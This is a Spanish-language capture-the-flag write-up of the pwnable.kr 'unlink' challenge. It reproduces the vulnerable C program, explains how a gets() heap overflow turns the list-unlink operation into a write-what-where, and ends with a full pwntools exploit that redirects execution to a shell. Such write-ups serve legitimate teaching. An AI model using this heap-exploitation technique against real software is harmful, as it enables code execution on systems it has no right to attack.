pwnable.kr - unlink
Table of contents
Explotaremos un Heap Overflow en una lista doblemente enlazada con una condicion Write-What-Where que nos permitira escribir la direccion de la funcion shell() en A->buf
Este es un desafio de los gordos, como ayuda, te dejo este gran writeup el cual me ayudo bastante a entender que pedo: picale aqui
Analisis
Se nos proporciona el codigo fuente del programa, donde primeramente se esta definiendo una estructura llamada OBJ:
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
Primero se definen dos punteros a la estructura tagOBJ llamados fd y bk y un arreglo de char (que seria el buffer) con una longitud de 8 bytes, los punteros fd y bk son usados normalmente para implementar una lista doblemente enlazada, y para eso esta esta funcion:
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
Donde el puntero fd apunta al siguiente elemento, y bk apunta al elemento anterior.
Codigo completo:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
Se esta haciendo basicamente esto:
- Crea tres nodos (A, B y C)
- Se crea una lista doblemente enlazada con A en primer lugar, B en segundo y C en tercero.
- Muestra la dirección donde el puntero
&Acuando mantiene en el stack como una variable local - Muestra la dirección en la que se guarda el nodo A en el heap.
- Obtiene un imput el cual puede sobreescribir la memoria que comienza con
A->bufen el heap - Llama a unlink con el nodo B
Vulnerabilidad
En la funcion main se esta haciendo un llamado a la funcion gets: gets(A->buf);, donde se esta ocasionando un heap overflow a partir de del nodo A (A->buf).
Debido a que ocurrio un heap overflow y el programa soporta una operacion de desvinculacion en el nodo B:
FD->bk=BK;
BK->fd=FD;
Debemos de explotar la funcion unlink, donde podemos sobreescribir el fd y el bk del nodo B, cuando el nodo B se desvincula, ocurre que:
- El nodo apuntado por B->fd(antes C) cambiará a B->bk(antes A)
- El nodo apuntado por B->bk(antes A) cambiará a B->fd(antes C)
Metodo de explotacion 1 (incorrecto)
Podriamos hacer que B->bk apunte a una direccion de ebp y despues sobrescribirlo con la dirección de la funcion shell en B->fd
Pero no se puede, si ponemos la direccion de la funcion shell() en B->fd o B->bk, no se ve a poder ejecutar por que cuando se ejecute BK->fd=FD, la funcion unlink tratara de escribir en la misma direccion.
Debido a esto, debemos de hacer que B->fd o B->bk siempre apunten a una direccion de memoria con permisos de escritura, donde debemos de tener en cuenta que B->bk se escribira 4 bytes despues de la direccion de B->fd
Analisis con GDB
En las ultimas linea de la funcion main, cuando se hace el llamado de unlink:

Tenemos algo interesante, El contenido en la dirección ebp-4 se copia en ecx y antes de que devuelva el valor ecx-4 se asigna al esp, entonces el programa regresará a la dirección que este en ecx-4.
Write-What-Where
Una vez ejecutando el programa y pasandole varios bytes hasta que ocurra el overflow, podemos ver que tenemos el control de eax y edx:

Y si continuamos la ejecucion del programa, lo que tiene el eip es la direccion 0x8048521 y que ejecuta la intruccion: DWORD PTR [eax+0x4], edx, pero como edx tiene una direccion invalida entonces va a petar. Y aqui es cuando la instruccion mov nos proporciona la condicion write-what-where, asi que con esta condicion podemos sobreescribir el ebp-0x4 de cuando de hace el llamado a la funcion unlink en la funcion main.
Y esto es bastante interesante por que si sobrescribimos el valor de ebp-4 con una dirección del heap, entonces el flujo de ejecución ira a lo que esté escrito 4 bytes antes de lo que apunta esa dirección, y como tenemos control total sobre el heap, podemos escribir la dirección de la funcion shell() en esa parte.
Explotacion
Entonces tenemos que:
- Sobreecribiremos
B->bkcon la direcciónebp-4 - Agregar 0x10 al stack para llegar al valor que queremos
- Hacer que
B->fdsea igual a una dirección del heap que podamos controlar, más 4 bytes, y podemos usarA->buf - Y por ultimo escribir la dirección de la función
shell()en A->buf.
Exploit
from pwn import *
s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process('/home/unlink/unlink')
p.recvuntil(': ')
stack = int(p.recv(10), 16)
p.recvuntil(': ')
heap = int(p.recv(10), 16)
p.recv()
shell_addr = 0x080484eb
buf = heap+8
ebp = stack+20
payload = p32(shell_addr) # A->buf
payload += b'A'*12
payload += p32(buf+4) # B->fd
payload += p32(ebp-4) # B->bk
p.sendline(payload)
p.interactive()

Eso ha sido todo, gracias por leer ❤